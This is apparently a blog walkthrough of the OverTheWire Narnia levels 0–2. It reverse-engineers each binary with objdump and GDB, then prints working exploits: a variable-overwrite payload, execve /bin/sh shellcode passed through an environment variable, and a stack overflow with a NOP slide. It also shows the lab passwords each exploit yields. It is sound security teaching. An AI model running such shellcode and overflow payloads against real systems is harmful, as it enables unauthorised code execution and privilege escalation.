The Narnia challenges focus on various overflow techniques in order to get the exploitable program to execute arbitrary code. All of the challenges here provide both the binary to exploit as well as the source that they were created from. One of the goals I set out when starting these challenges was also to learn a lot more about assembly and reverse engineering, therefore none of these solutions will use the actual provided source. Instead I’ll go about these by trying to breakdown the assembly to understand what the program is doing and what can be done to exploit it.
It’s worth nothing that while I’m doing this by hand for these walkthroughs, there are many tools out there that automate the process of reverse engineering and most support some form of decompilation.
Some of the more popular Reverse Engineering tools:
All of the narnia challenges from OverTheWire can be found: https://overthewire.org/wargames/narnia/
For some background on buffer overflows, the Wiki page provides a pretty good summary of the different flavors. Additionally these walkthroughs are not meant to teach assembly programming, there are far better resources for that, like: https://en.wikibooks.org/wiki/X86_Assembly. Lastly, all of the Narnia challenges are meant as a beginning set of challenges where many of the modern security techniques, like Address Space Layout Randomization, are all disabled. Disabling these security techniques allow for focusing on understanding the fundamentals and build up a solid foundation.
narnia0
How to log into Narnia:
ssh -p 2226 narnia0@narnia.labs.overthewire.org
Password: narnia0
Where to find all of the challenges:
cd /narnia/
One of the very first things to do when approaching these challenges is to just try running the program to see what it’s expecting as input and what it outputs:
1
2
3
4
5
6
7
|
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: 1234
buf: 1234
val: 0x41414141
WAY OFF!!!!
|
Knowing that these challenges center around overflow techniques one of the first things to attempt is providing invalid or excessive long input to cause the program to behave in an unintended way. In this case trying out, AAAAABBBBBCCCCCDDDDDBBBB
, gives the following output:
1
2
3
4
5
6
|
narnia0@narnia:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAAABBBBBCCCCCDDDDDBBBB
buf: AAAAABBBBBCCCCCDDDDDBBBB
val: 0x42424242
WAY OFF!!!!
|
Looking at the results here the current value of val
seems to reflect the ASCII value of B
. If that’s the case it should mean that the program is vulnerable to an overflow that allows for arbitrary data to be put into val
.
Let’s check objdump, and look at main()
to get understand what’s going on in this program:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
0804855b <main>:
804855b: 55 push %ebp
804855c: 89 e5 mov %esp,%ebp
804855e: 53 push %ebx
804855f: 83 ec 18 sub $0x18,%esp
8048562: c7 45 f8 41 41 41 41 movl $0x41414141,-0x8(%ebp)
8048569: 68 90 86 04 08 push $0x8048690
804856e: e8 7d fe ff ff call 80483f0 <puts@plt>
8048573: 83 c4 04 add $0x4,%esp
8048576: 68 c3 86 04 08 push $0x80486c3
804857b: e8 50 fe ff ff call 80483d0 <printf@plt>
8048580: 83 c4 04 add $0x4,%esp
8048583: 8d 45 e4 lea -0x1c(%ebp),%eax
8048586: 50 push %eax
8048587: 68 d9 86 04 08 push $0x80486d9
804858c: e8 af fe ff ff call 8048440 <__isoc99_scanf@plt>
8048591: 83 c4 08 add $0x8,%esp
8048594: 8d 45 e4 lea -0x1c(%ebp),%eax
8048597: 50 push %eax
8048598: 68 de 86 04 08 push $0x80486de
804859d: e8 2e fe ff ff call 80483d0 <printf@plt>
80485a2: 83 c4 08 add $0x8,%esp
80485a5: ff 75 f8 pushl -0x8(%ebp)
80485a8: 68 e7 86 04 08 push $0x80486e7
80485ad: e8 1e fe ff ff call 80483d0 <printf@plt>
80485b2: 83 c4 08 add $0x8,%esp
80485b5: 81 7d f8 ef be ad de cmpl $0xdeadbeef,-0x8(%ebp)
80485bc: 75 25 jne 80485e3 <main+0x88>
80485be: e8 1d fe ff ff call 80483e0 <geteuid@plt>
80485c3: 89 c3 mov %eax,%ebx
80485c5: e8 16 fe ff ff call 80483e0 <geteuid@plt>
80485ca: 53 push %ebx
80485cb: 50 push %eax
80485cc: e8 4f fe ff ff call 8048420 <setreuid@plt>
80485d1: 83 c4 08 add $0x8,%esp
80485d4: 68 f4 86 04 08 push $0x80486f4
80485d9: e8 22 fe ff ff call 8048400 <system@plt>
80485de: 83 c4 04 add $0x4,%esp
80485e1: eb 14 jmp 80485f7 <main+0x9c>
80485e3: 68 fc 86 04 08 push $0x80486fc
80485e8: e8 03 fe ff ff call 80483f0 <puts@plt>
80485ed: 83 c4 04 add $0x4,%esp
80485f0: 6a 01 push $0x1
80485f2: e8 19 fe ff ff call 8048410 <exit@plt>
80485f7: b8 00 00 00 00 mov $0x0,%eax
80485fc: 8b 5d fc mov -0x4(%ebp),%ebx
80485ff: c9 leave
8048600: c3 ret
|
From this dump we can see that the stack is sized 24 bytes
(0x18):
1
|
804855f: 83 ec 18 sub $0x18,%esp
|
Additionally, we can see the initial value of val
being set on the next line, which is ultimately our target for our bufferoverflow:
1
|
8048562: c7 45 f8 41 41 41 41 movl $0x41414141,-0x8(%ebp)
|
Next is the prints for the various messages, followed by a syscall to scanf. These two lines should be where we load the address of our buffer for scanf
.
1
2
|
8048583: 8d 45 e4 lea -0x1c(%ebp),%eax
8048586: 50 push %eax
|
And this should be the formatted string, which is stored in the binary itself:
1
2
|
8048587: 68 d9 86 04 08 push $0x80486d9
804858c: e8 af fe ff ff call 8048440 <__isoc99_scanf@plt>
|
Followed by some more prints, and finally the good stuff, where the comparison is done with val
and the hardcoded value 0xdeadbeef
:
1
2
|
80485b5: 81 7d f8 ef be ad de cmpl $0xdeadbeef,-0x8(%ebp)
80485bc: 75 25 jne 80485e3 <main+0x88>
|
It also looks like when the comparison succeeds a privileged function will be called, specifically the setreuid so elevate privileges, and then a call to system:
1
2
3
4
5
6
7
8
9
|
80485be: e8 1d fe ff ff call 80483e0 <geteuid@plt>
80485c3: 89 c3 mov %eax,%ebx
80485c5: e8 16 fe ff ff call 80483e0 <geteuid@plt>
80485ca: 53 push %ebx
80485cb: 50 push %eax
80485cc: e8 4f fe ff ff call 8048420 <setreuid@plt>
80485d1: 83 c4 08 add $0x8,%esp
80485d4: 68 f4 86 04 08 push $0x80486f4
80485d9: e8 22 fe ff ff call 8048400 <system@plt>
|
Providing input to an application’s stdin can be accomplished via a pipe, |
. Allowing for executing some previous command, using it’s output to stdout
and pipe
-ing that into the stdin
of the next program:
1
2
3
4
5
|
narnia0@narnia:/narnia$ python -c 'print "B" * 24' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: BBBBBBBBBBBBBBBBBBBBBBBB
val: 0x42424242
WAY OFF!!!!
|
At this point it’s clear all that needs to be done is to pipe
in some input with some number of A
s followed by 0xdeadbeef
. However before doing that, running this through GDB can provide some more insight and be a good place to get some experience stepping through a program with only assembly code available:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
narnia0@narnia:/narnia$ gdb narnia0
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from narnia0...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
...long output from the disassembly, similar to the objdump
(gdb) b main
Breakpoint 1 at 0x804855f
(gdb) r
Starting program: /narnia/narnia0
Breakpoint 1, 0x0804855f in main ()
(gdb) x/s 0x8048690
0x8048690: "Correct val's value from 0x41414141 -> 0xdeadbeef!"
(gdb) x/s 0x80486d9
0x80486d9: "%24s"
(gdb) x/s 0x80486f4
0x80486f4: "/bin/sh"
|
What’s interesting here is that the format string is expecting 24 characters, despite the buffer being only 20 bytes. Another interesting aspect, is that it is clear the string being passed into system
is /bin/sh
(aka what’s located at 0x80486f4
). So we know that if we can get 0xdeadbeef
into val
, we’ll execute /bin/sh
and get to the next level.
Running through GDB allows for some deeper inspection as to what’s going on. After setting a breakpoint in main, and another right before loading the buffer’s address into the register $eax
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
(gdb) r
Starting program: /narnia/narnia0
Breakpoint 1, 0x0804855f in main ()
(gdb) x/5i $pc
=> 0x804855f <main+4>: sub esp,0x18
0x8048562 <main+7>: mov DWORD PTR [ebp-0x8],0x41414141
0x8048569 <main+14>: push 0x8048690
0x804856e <main+19>: call 0x80483f0 <puts@plt>
0x8048573 <main+24>: add esp,0x4
(gdb) c
Continuing.
Correct val's value from 0x41414141 -> 0xdeadbeef!
Breakpoint 2, 0x08048583 in main ()
(gdb) x/5i $pc
=> 0x8048583 <main+40>: lea eax,[ebp-0x1c]
0x8048586 <main+43>: push eax
0x8048587 <main+44>: push 0x80486d9
0x804858c <main+49>: call 0x8048440 <__isoc99_scanf@plt>
0x8048591 <main+54>: add esp,0x8
|
Taking a peek at the stack, the buffer, and then stepping again:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
(gdb) x/20xw $ebp
0xffffd6c8: 0x00000000 0xf7e2a286 0x00000001 0xffffd764
0xffffd6d8: 0xffffd76c 0x00000000 0x00000000 0x00000000
0xffffd6e8: 0xf7fc5000 0xf7ffdc0c 0xf7ffd000 0x00000000
0xffffd6f8: 0x00000001 0xf7fc5000 0x00000000 0xc794cc50
0xffffd708: 0xfd7de040 0x00000000 0x00000000 0x00000000
(gdb) x/20xw $ebp-0x1c
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) ni
0x08048586 in main ()
(gdb) x/5i $pc
=> 0x8048586 <main+43>: push eax
0x8048587 <main+44>: push 0x80486d9
0x804858c <main+49>: call 0x8048440 <__isoc99_scanf@plt>
0x8048591 <main+54>: add esp,0x8
0x8048594 <main+57>: lea eax,[ebp-0x1c]
Stepping a bit further and making sure $eax gets the address we expect:
(gdb) x/20xw $eax
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) x/20xw 0xffffd6ac
0xffffd6ac: 0x08048631 0xf7fc53dc 0x0804824c 0x08048619
0xffffd6bc: 0x00000000 0x41414141 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
(gdb) ni
0x08048587 in main ()
(gdb) ni
0x0804858c in main ()
|
A few more instructions before we are prompted and provide some inputs:
1
2
3
|
(gdb) ni
Here is your chance: BBBBBBBBBBBBBBBBBBBBBBBB
0x08048591 in main ()
|
And now looking at the contents of our stack, we can see that we overwrote var
and filled our buffer with B
s:
1
2
3
4
5
6
|
(gdb) x/20xw 0xffffd6ac
0xffffd6ac: 0x42424242 0x42424242 0x42424242 0x42424242
0xffffd6bc: 0x42424242 0x42424242 0x00000000 0x00000000
0xffffd6cc: 0xf7e2a286 0x00000001 0xffffd764 0xffffd76c
0xffffd6dc: 0x00000000 0x00000000 0x00000000 0xf7fc5000
0xffffd6ec: 0xf7ffdc0c 0xf7ffd000 0x00000000 0x00000001
|
All that’s left now is to provide some inputs and get to the next level, one thing to keep in mind is that given the endianness, the bytes have to be reversed so 0xdeadbeef
becomes 0xefbeadde
:
1
2
3
4
5
|
narnia0@narnia:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@narnia:/narnia$
|
Well, it seemed to work but the shell closed right away, which makes it really hard to get the password to the next level. There’s a trick to keeping the shell open: leveaging cat to hold the input open after our system
call has executed prevents the shell from closing:
1
2
3
4
5
6
7
8
|
narnia0@narnia:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"';cat) | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
whoami
narnia1
cat /etc/narnia_pass/narnia1
efeidiedae
|
Not too bad for a first challenge and gave me a chance to explore some basic concepts in assembly and what to start to look for to understand how to exploit it.
narnia1
How to log into Narnia:
ssh -p 2226 narnia1@narnia.labs.overthewire.org
Password: efeidiedae
Where to find all of the challenges:
cd /narnia/
Just like last time, try running the program and see what it does:
1
2
3
4
5
|
narnia1@narnia:/narnia$ ./narnia1
Give me something to execute at the env-variable EGG
narnia1@narnia:/narnia$ EGG=ls ./narnia1
Trying to execute EGG!
Segmentation fault
|
Odd. Let’s take a look at ltrace to see what library calls the program might be making.
1
2
3
4
5
6
7
8
|
narnia1@narnia:/narnia$ EGG=ls ltrace ./narnia1
__libc_start_main(0x804846b, 1, 0xffffd784, 0x80484c0 <unfinished ...>
getenv("EGG") = "ls"
puts("Trying to execute EGG!"Trying to execute EGG!
) = 23
getenv("EGG") = "ls"
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
|
Nothing too obvious here, time to use objdump
. Doesn’t appear that it calls any internal functions and just sticks with system functions that get executed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
0804846b <main>:
804846b: 55 push %ebp
804846c: 89 e5 mov %esp,%ebp
804846e: 83 ec 04 sub $0x4,%esp
8048471: 68 40 85 04 08 push $0x8048540
8048476: e8 a5 fe ff ff call 8048320 <getenv@plt>
804847b: 83 c4 04 add $0x4,%esp
804847e: 85 c0 test %eax,%eax
8048480: 75 14 jne 8048496 <main+0x2b>
8048482: 68 44 85 04 08 push $0x8048544
8048487: e8 a4 fe ff ff call 8048330 <puts@plt>
804848c: 83 c4 04 add $0x4,%esp
804848f: 6a 01 push $0x1
8048491: e8 aa fe ff ff call 8048340 <exit@plt>
8048496: 68 79 85 04 08 push $0x8048579
804849b: e8 90 fe ff ff call 8048330 <puts@plt>
80484a0: 83 c4 04 add $0x4,%esp
80484a3: 68 40 85 04 08 push $0x8048540
80484a8: e8 73 fe ff ff call 8048320 <getenv@plt>
80484ad: 83 c4 04 add $0x4,%esp
80484b0: 89 45 fc mov %eax,-0x4(%ebp)
80484b3: 8b 45 fc mov -0x4(%ebp),%eax
80484b6: ff d0 call *%eax
80484b8: b8 00 00 00 00 mov $0x0,%eax
80484bd: c9 leave
80484be: c3 ret
80484bf: 90 nop
|
Looks like there’s enough room for some local variable. Not sure entirely what it does or how it is used:
1
|
804846e: 83 ec 04 sub $0x4,%esp
|
These lines caught my eye:
1
2
3
|
80484b0: 89 45 fc mov %eax,-0x4(%ebp)
80484b3: 8b 45 fc mov -0x4(%ebp),%eax
80484b6: ff d0 call *%eax
|
It appears that whatever variable on the stack here is used as the address of our “call” instruction - this is likely just a locally defined function pointer. So, since it’s just executing whatever the contents of $EGG
are, we just need to pipe in some Shellcode. And then have the program execute it.
Additionally, if we want to get real fancy we can try creating our own shellcode. A future post will walkthrough creating shell code that runs on overthewire (following guidance from The Shellcoders Handbook - see the shellcode creation section).
In the mean time here’s the resulting shell code being passed into the program via the $EGG
environment variable:
1
2
3
4
5
6
7
|
narnia1@narnia:/narnia$ EGG=$(python -c 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42"') ./narnia1
Trying to execute EGG!
$ ls
narnia0 narnia1 narnia2 narnia3 narnia4 narnia5 narnia6 narnia7 narnia8
narnia0.c narnia1.c narnia2.c narnia3.c narnia4.c narnia5.c narnia6.c narnia7.c narnia8.c
$ whoami
Narnia2
|
Which gives the password:
1
2
|
$ cat /etc/narnia_pass/narnia2
nairiepecu
|
Additionally, there exists some great tools and resources that have some pre-generated shellcode for a variety of system: http://shell-storm.org/shellcode/. However, it is strongly advised to look over and understand what some shellcode does before actually using it.
narnia2
How to log into Narnia:
ssh -p 2226 narnia2@narnia.labs.overthewire.org
Password: nairiepecu
Where to find all of the challenges:
cd /narnia/
It should be no surprise at this point that first up is to run the app:
1
2
|
narnia2@narnia:/narnia$ ./narnia2
Usage: ./narnia2 argument
|
Now let’s try a simple input:
1
2
|
narnia2@narnia:/narnia$ ./narnia2 AAAA
AAAAnarnia2@narnia:/narnia$
|
And find a breaking input:
1
2
|
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "A"*20')
AAAAAAAAAAAAAAAAAAAA
|
No luck, time to try something a bit more extreme:
1
2
|
narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print "A"*256')
Segmentation fault
|
Now we’re talking, a segfault is usually a nightmare for me, however in this case it’s exactly what I’m looking for. Taking a look at the assembly:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
0804844b <main>:
804844b: 55 push %ebp
804844c: 89 e5 mov %esp,%ebp
804844e: 83 c4 80 add $0xffffff80,%esp
8048451: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
8048455: 75 1a jne 8048471 <main+0x26>
8048457: 8b 45 0c mov 0xc(%ebp),%eax
804845a: 8b 00 mov (%eax),%eax
804845c: 50 push %eax
804845d: 68 20 85 04 08 push $0x8048520
8048462: e8 99 fe ff ff call 8048300 <printf@plt>
8048467: 83 c4 08 add $0x8,%esp
804846a: 6a 01 push $0x1
804846c: e8 af fe ff ff call 8048320 <exit@plt>
8048471: 8b 45 0c mov 0xc(%ebp),%eax
8048474: 83 c0 04 add $0x4,%eax
8048477: 8b 00 mov (%eax),%eax
8048479: 50 push %eax
804847a: 8d 45 80 lea -0x80(%ebp),%eax
804847d: 50 push %eax
804847e: e8 8d fe ff ff call 8048310 <strcpy@plt>
8048483: 83 c4 08 add $0x8,%esp
8048486: 8d 45 80 lea -0x80(%ebp),%eax
8048489: 50 push %eax
804848a: 68 34 85 04 08 push $0x8048534
804848f: e8 6c fe ff ff call 8048300 <printf@plt>
8048494: 83 c4 08 add $0x8,%esp
8048497: b8 00 00 00 00 mov $0x0,%eax
804849c: c9 leave
804849d: c3 ret
804849e: 66 90 xchg %ax,%ax
|
And what happens if we run through gdb with bad input:
1
2
3
4
5
|
(gdb) r $(python -c 'print "A"*256')
Starting program: /narnia/narnia2 $(python -c 'print "A"*256')
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
|
All right, this is interesting. Seems we can control return address(ret
) by completely destroying the stack since we overflow the buffer, in other words a classic stack buffer overflow exploit.
Looking a bit more into this, it looks like there’s like a buffer of size 0x80
(128bytes):
1
|
804847a: 8d 45 80 lea -0x80(%ebp),%eax
|
Which means the python call should be able to work with some smaller value than 256.
1
2
3
4
5
6
7
8
|
Starting program: /narnia/narnia2 $(python -c 'print "A"*136')
Breakpoint 1, 0x0804844e in main ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
|
Looks like 136 will do the trick, since the goal is to overflow past 128 bytes and continue writing over the Saved Frame Pointer (4 bytes) and the return address (another 4 bytes). There’s almost enough pieces to be able to exploit the program. It should be possible to reuse the shellcode from narnia1, and put that into our exploit payload, which in turn will be put into the buffer. Then we just need to get the address of the start of the shellcode into the RET
which in turn will get loaded into $EIP
, so when the function finishes executing it’ll actually return the shellcode and execute it.
The trick here is that knowing the exact address of our shellcode can be a bit of a pain. So to have some wiggle room, a nop slide can be used. When the CPU encounters a nop slide, the nops
don’t have have any operation that need to be preformed so the CPU just keeps marching through them until it hits an instruction that it actually needs to do something with.
Putting that all together:
1
2
3
|
narnia2@narnia:~$ /narnia/narnia2 $(python -c 'print "\x90"*83 + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x41\x41\x41\x41\x42\x42\x42\x42" + "<ADDRESS OF THE NOP SLIDE>"')
$ whoami
narnia3
|
Getting the address of the nop slide can be done fairly easily by running the program through GDB and printing out the address at:
This mostly works for two reasons, first, because overthewire has disabled many techniques that would normally make it quite a bit harder to reliably determine this address. Second, the nop slide means the address doesn’t have to be exact, just somewhere within the slide.
And the password:
1
2
|
$ cat /etc/narnia_pass/narnia3
vaequeezee
|
To recap what was covered in these challenges: first overflowing a buffer to write over a local variable, next using shellcode
in an environment variable, and finally writing a simple stack buffer overflow exploit (the python one liner). It’s been a bit of whirlwind and there’s a lot of miscellaneous reading that wasn’t covered here. With the vast majority of my time spent reading over the x86 Instruction Set Reference and starting to build up a mental model of what a handful of assembly instructions are actually accomplishing.
Some additional reading that can’t go with out mentioning: